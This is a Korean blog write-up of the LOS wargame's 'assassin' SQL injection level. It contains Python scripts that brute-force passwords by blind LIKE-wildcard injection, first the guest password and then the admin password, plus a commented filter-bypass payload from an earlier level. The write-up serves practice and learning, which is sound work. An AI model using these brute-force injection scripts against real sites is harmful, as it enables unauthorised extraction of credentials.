15. LOS - assassin
2021. 1. 29. 13:16ㆍWarGame/LOS
문제 화면이다
\' 으로 쿼터(%27)이 필터링 되어있어서 사용이 불가능하므로 다른 방안을 찾아야한다.
like 문을 줬기에 _%, %_, %_% 을 활용해서 풀이할수 있다.
like [0-9][a-Z]% 를 활용해서 문제를 풀어보자
import requests
import string
num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': 'l3toagi0tdl3lhfji1bkfaj7dk'}
#https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||mid(pw,1,1)%0din%0d("0")--%0d-
key = ""
print(num_alpa)
for i in range(1, 9) :
for j in num_alpa :
URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="+key+str(j)+"%"
response = requests.get(URL, cookies=cookies)
if "Hello guest" in response.text :
key += j
print("[" + str(i) + "]th password : " + j)
break;
print(key)
코드를 활용해서 문제를 풀어보았지만 풀리지 않았다.
내가 구한것은 guest의 password인 것 같다
그럼 어떻게 admin의 pw를 구할 수 있을 까?
import requests
import string
num_alpa = string.digits + string.ascii_letters
cookies = {'PHPSESSID': 'l3toagi0tdl3lhfji1bkfaj7dk'}
#https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&&no=12%0d||mid(pw,1,1)%0din%0d("0")--%0d-
key = ""
print(num_alpa)
for i in range(1, 9) :
for j in num_alpa :
for k in num_alpa :
URL = "https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=%"+str(j)+str(k)+"%"
response = requests.get(URL, cookies=cookies)
if "Hello admin" in response.text :
print(URL)
key += j
print("[" + str(i) + "]th password : " + j)
break;
print(key)
이렇게 하면 2개의 문자를 조합해서 어드민에 해당되는 것이 나올 것이기에
페이로드를 작성할 수 있었고, % 를 그대로 인식해서 % --> %25 로 바꿔줬다.
sqli 점차 이해하니 재미있다.
'WarGame > LOS' 카테고리의 다른 글
17. LOS - zombie_assassin (0) | 2021.01.30 |
---|---|
16. LOS - succubus (0) | 2021.01.29 |
14. LOS - gian (0) | 2021.01.28 |
13. LOS - bugbear (0) | 2020.11.30 |
12. LOS - darknight (0) | 2018.08.09 |